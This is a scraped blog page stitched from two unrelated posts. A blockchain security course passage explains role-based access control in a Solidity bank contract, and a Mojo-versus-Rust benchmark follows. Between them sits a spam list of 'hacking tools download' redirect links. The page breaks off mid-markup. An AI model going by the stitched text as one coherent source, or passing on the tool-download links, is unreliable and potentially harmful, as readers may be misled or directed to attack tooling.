2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract roleBased </span><span style="color: #e28964;">is</span><span style="color: white;"> </span><span style="color: #89bdff;">AccessControl</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>bytes32 </span><span style="color: #e28964;">public</span><span style="color: white;"> constant admin = keccak256(</span><span style="color: #65b042;">"admin"</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>bytes32 </span><span style="color: #e28964;">public</span><span style="color: white;"> constant user = keccak256(</span><span style="color: #65b042;">"user"</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address =></span><span style="color: #e28964;">uint</span><span style="color: white;">) balances;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">constructor</span><span style="color: white;">() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>_setupRole(admin, msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">if</span><span style="color: white;"> (!(hasRole(admin, msg.sender))){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>_setupRole(user, msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">18.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-tab-count: 1;"> </span>balances[msg.sender] = balances[msg.sender]+msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">19.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">20.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">21.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> amount) </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">22.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(hasRole(user, msg.sender), </span><span style="color: #65b042;">"Not a user of this bank"</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">23.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;"> (balances[msg.sender] >= amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">24.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">25.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>msg.sender.transfer(amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">26.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">27.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">28.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> kill() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">29.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(hasRole(admin, msg.sender), </span><span style="color: #65b042;">"Not an administrator"</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">30.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>selfdestruct(msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">31.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">32.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div> <p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p> <p class="MsoNormal">Once you have the roleBased contract deployed you will notice a few changes from the simpleAuth version. First, we are importing the OpenZeppelin libraries which imports all of the prerequisite needs for the role-based access control into Remix. <o:p></o:p></p> <p class="MsoNormal">Secondly, on lines 6-7 we are creating both a user and admin role identifiers. If you take a look at the documentation link from the references at the end of this section it states that the role identifier must be created as a bytes32 hash. We create these as a bytes32 type and hash them with keccak256 which is essentially the equivalent of a sha3 hash function. This type of hashing is standard on Ethereum's consensus engine for producing blocks. Keccak256 is often seen as the hashing function within Solidity smart contracts. <o:p></o:p></p> <p class="MsoNormal">The constructor was updated to execute the _setupRole function from OpenZeppelin. This sets the admin user as the user who initially deployed the contract. In this case we used our first account, so our first account is our admin user.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p> <p class="MsoNormal">The user account is then setup within the deposit function on line 16 for every user who deposits funds and is not already an administrator, as we don't want to overwrite the admin role with the user role. This would be a business logic error that eliminated all admin accounts, which would be bad.<span style="mso-spacerun: yes;"> </span>When you deposit funds as the second account your address will be associated with a regular user role.<o:p></o:p></p> <p class="MsoNormal">As an example of how authorization is handled with role identifiers take a look at lines 22 and 29.<span style="mso-spacerun: yes;"> </span>On line 22 if you have not already deposited funds you will not have a user role so you cannot withdraw funds. You will be given an error when checking the hasRole requirement. <o:p></o:p></p> <p class="MsoNormal">Try this out with a user who has not deposited funds yet.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p> <p class="MsoNormal">Finally, within the kill function on line 29 you will see a check for an admin role identifier. If the account address calling kill does not have this associated role identifier, an error is displayed and the transaction will not process. <o:p></o:p></p> <p class="MsoNormal">Try the kill function with your second user and take a look at your output window. It should turn red and show that error.<span style="mso-spacerun: yes;"> </span>Now if you switch back to your admin user on the first account you can successfully kill the contract. <o:p></o:p></p> <p class="MsoNormal">Note that you can also enumerate, grant and revoke user roles. Check out the references section below for more information if you are interested in that functionality. <o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p> <h2><a name="_Toc47892519">Authorization Summary:</a> <o:p></o:p></h2> <p class="MsoNormal">I hope this chapter was enlightening on how authorization is handled on the blockchain and the dangers of not having authorization on sensitive functions. In the lab package for the certification and on the final CTF exam, there will be many occurrences of authorization which you can further test your business logic and authorization bypass attacking skills. <o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p> <h2><a name="_Toc47892521">Authorization References</a><o:p></o:p></h2><div><a href="https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/authorization" name="_Toc47892521" target="_blank"><span style="color: #6fa8dc;">https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/authorization</span></a></div> <p class="MsoNormal"><a href="https://docs.openzeppelin.com/contracts/3.x/access-control"><span style="color: #6fa8dc;">https://docs.openzeppelin.com/contracts/3.x/access-control</span></a> <span style="color: #3d85c6;"><o:p></o:p></span></p> <p class="MsoNormal"><a href="https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/access"><span style="color: #6fa8dc;">https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/access</span></a><o:p></o:p></p><b>Related links</b><br><ul><li> <a href="https://id.search.yahoo.com/search?p=site%3Aamp.kitploit.com&fr=yfp-t&fp=1&toggle=1&cop=mss&ei=UTF-8&fp=1&b=301&pz=10&bct=0&xargs=0">Hacking Tools Download </a></li><li> <a href="https://www.google.mk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F03%2Fstarkiller-frontend-for-powershell.html">Hacker Tools Github </a></li><li> <a href="https://www.google.is/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F03%2Fphonia-toolkit-one-of-most-advanced.html">Hacking Tools For Windows Free Download </a></li><li> <a href="https://www.google.bj/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Famp.kitploit.com%2F2020%2F03%2Fmssqlproxy-toolkit-aimed-to-perform.html">Hack And Tools </a></li><li> <a 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checks on the generated binaries.</p><p>The system is a Debian12 Linux and the architecture is: x86 64bits.</p><p><br /></p><p><br /></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEilpXlcFWSgEjFFMhLBkHgcIZ1rDoivScBi4LORp-XsFrlsRSt_MPA7zmnCvVcObw7Vql0uty7Evv3HBL7ok2bW9id7SksGV_9WQY5IKbwleDmziCUAfSS9l2ukEkRifa3uKvXuS_qJKZLVNKacBdCnT5TVOYN9QmqqIg_NMxkfN2wNc_dH9ptV" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="127" data-original-width="329" height="124" src="https://blogger.googleusercontent.com/img/a/AVvXsEilpXlcFWSgEjFFMhLBkHgcIZ1rDoivScBi4LORp-XsFrlsRSt_MPA7zmnCvVcObw7Vql0uty7Evv3HBL7ok2bW9id7SksGV_9WQY5IKbwleDmziCUAfSS9l2ukEkRifa3uKvXuS_qJKZLVNKacBdCnT5TVOYN9QmqqIg_NMxkfN2wNc_dH9ptV" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;">Rust</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEiMCPnhnwILxRWiltOUqlIaihTV01hcXb3z4vRjhJwx3xnOlpUW641YVrOge6S40ZWzteqJQ750ODU7vtI2C0jGb2I1v8PIR254OFHBYJurL3PRnQindQJqzQlw0jqQY85oIZhVcTKRCoY4loKr05qaW2RvJyu_8EIRne0ih9kcHrWhHtGJ9JMD" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="93" data-original-width="288" height="103" src="https://blogger.googleusercontent.com/img/a/AVvXsEiMCPnhnwILxRWiltOUqlIaihTV01hcXb3z4vRjhJwx3xnOlpUW641YVrOge6S40ZWzteqJQ750ODU7vtI2C0jGb2I1v8PIR254OFHBYJurL3PRnQindQJqzQlw0jqQY85oIZhVcTKRCoY4loKr05qaW2RvJyu_8EIRne0ih9kcHrWhHtGJ9JMD" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;">Mojo</div><br /><br /><p></p><p>Mojo don't allow .py extension it has to be .mojo so no default nvim highlighting ...</p><p><br /></p><p>$ mojo build mojo_benchmark.mojo</p><p>$ time ./mojo_benchmark</p><p>...</p><p>real<span style="white-space: pre;"> </span>0m0.342s</p><p>user<span style="white-space: pre;"> </span>0m0.080s</p><p>sys<span style="white-space: pre;"> </span>0m0.252s</p><div><br /></div><div><br /></div><p>$ rustc rust_benchmark.rs</p><p>$ time ./rust_benchmark</p><p>...</p><p>real<span style="white-space: pre;"> </span>0m0.107s</p><p>user<span style="white-space: pre;"> </span>0m0.012s</p><p>sys<span style="white-space: pre;"> </span>0m0.049s</p><p><br /></p><p>I noticed a speed increase using fish shell instead of bash but could be the environment variable stack overload.</p><p><br /></p><p>So in this specific test rust is much faster. And also the compiler suggests using _ instead i, that mojo compiler doesn't.</p><p>The rust binary is bigger, but is because the allocator is embedded:</p><p>-rwxr-xr-x 1 sha0 sha0 1063352 Jan 10 08:55 mojo_benchmark</p><p>-rwxr-xr-x 1 sha0 sha0 4632872 Jan 10 08:57 rust_benchmark</p><p><br /></p><p>But Look this, mojo uses libstdc++ and libc and rust only uses libc.</p><p>$ ldd -d mojo_benchmark</p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>linux-vdso.so.1 (0x00007ffd94917000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007fe899cb1000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fe899a00000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fe899921000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fe899c91000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe899740000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>/lib64/ld-linux-x86-64.so.2 (0x00007fe899d2c000)</span></p><div><br /></div><p>$ ldd -d rust_benchmark</p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>linux-vdso.so.1 (0x00007ffde67b7000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f8b3881b000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8b3863a000)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>/lib64/ld-linux-x86-64.so.2 (0x00007f8b388ae000)</span></p><div><br /></div><div><br /></div><div>Lets check the binary.</div><div>All the python non used built-ins are written to the binary, so does rust in this case.</div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgGIwOMNcWf55QyCohaVTS-BEi9QT1LcLXhPREcfsyEb2d27ZsSif7nynsultf7X4kNCZHuHwfOq2nfNIi1uCOnEf_u_V_cSUy9I3uzXTUsZkeHya41dPyCFu24rH69kP6FhIl4g20tHOaGpdULytCD4MD_WG9Pb2BByt08N6m_GHmyeVoslPpp" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="431" data-original-width="381" height="240" src="https://blogger.googleusercontent.com/img/a/AVvXsEgGIwOMNcWf55QyCohaVTS-BEi9QT1LcLXhPREcfsyEb2d27ZsSif7nynsultf7X4kNCZHuHwfOq2nfNIi1uCOnEf_u_V_cSUy9I3uzXTUsZkeHya41dPyCFu24rH69kP6FhIl4g20tHOaGpdULytCD4MD_WG9Pb2BByt08N6m_GHmyeVoslPpp" width="212" /></a></div><div class="separator" style="clear: both; text-align: center;">mojo</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEj7JoW9OozhczLaPM6ztvcOJOYLigRg0AH56yBQtf3B5U-RDRY2AF-z7r61_Nfx8HWZ9pSUF7_uj6fAlRISYbBMIpcXVeNNJTXrZ8o82FBhHvAqHLqrqqXLGCQXUlFSTTo6zbdDusMnPcSh7m1CFVrYpy4Fd215zExk7cmeWS8vI_jsSZwBbE1w" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="431" data-original-width="381" height="240" src="https://blogger.googleusercontent.com/img/a/AVvXsEj7JoW9OozhczLaPM6ztvcOJOYLigRg0AH56yBQtf3B5U-RDRY2AF-z7r61_Nfx8HWZ9pSUF7_uj6fAlRISYbBMIpcXVeNNJTXrZ8o82FBhHvAqHLqrqqXLGCQXUlFSTTo6zbdDusMnPcSh7m1CFVrYpy4Fd215zExk7cmeWS8vI_jsSZwBbE1w" width="212" /></a></div><div class="separator" style="clear: both; text-align: center;">rust</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Steps until libc write:</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjlIFR_nXK1mwdyUe5tffdl5VY--Z_GUaS5nnmZNvjqn0xCmIGvvZfQZ66PWy9dSEB68f7WEh_6vLajm0_NBi4LIpA5iueGtr2sTvg5sCjgIf15DtmavbzxA87JsDabNDN7zBen-Q6g-oXjfYVpzNkOHYPzcyoQ8ElJzjSSkm_VoXdHnurBD7Rk" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="276" data-original-width="920" height="192" src="https://blogger.googleusercontent.com/img/a/AVvXsEjlIFR_nXK1mwdyUe5tffdl5VY--Z_GUaS5nnmZNvjqn0xCmIGvvZfQZ66PWy9dSEB68f7WEh_6vLajm0_NBi4LIpA5iueGtr2sTvg5sCjgIf15DtmavbzxA87JsDabNDN7zBen-Q6g-oXjfYVpzNkOHYPzcyoQ8ElJzjSSkm_VoXdHnurBD7Rk=w641-h192" width="641" /></a></div></div><div class="separator" style="clear: both; text-align: center;">Mojo</div><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjGZnZUJCmwVB0j3TA1JvsFcScw0-gFZIOEKJcvR0fvcePTd7tiExPIGdKtXGdyBgDlz_9DFZfVhV5O7LQeWyEXpL7_DhkRA5YRqzQrtLLQXtmEX6Wl__DHlXWyDK5JJ5TAZW_vpwCqr4kfKY8DcNO6p518GexfgYhXwd2u4M6GXzSbISqieRRJ" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="975" data-original-width="952" height="671" src="https://blogger.googleusercontent.com/img/a/AVvXsEjGZnZUJCmwVB0j3TA1JvsFcScw0-gFZIOEKJcvR0fvcePTd7tiExPIGdKtXGdyBgDlz_9DFZfVhV5O7LQeWyEXpL7_DhkRA5YRqzQrtLLQXtmEX6Wl__DHlXWyDK5JJ5TAZW_vpwCqr4kfKY8DcNO6p518GexfgYhXwd2u4M6GXzSbISqieRRJ=w655-h671" width="655" /></a></div><div class="separator" style="clear: both; text-align: center;">Rust</div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" 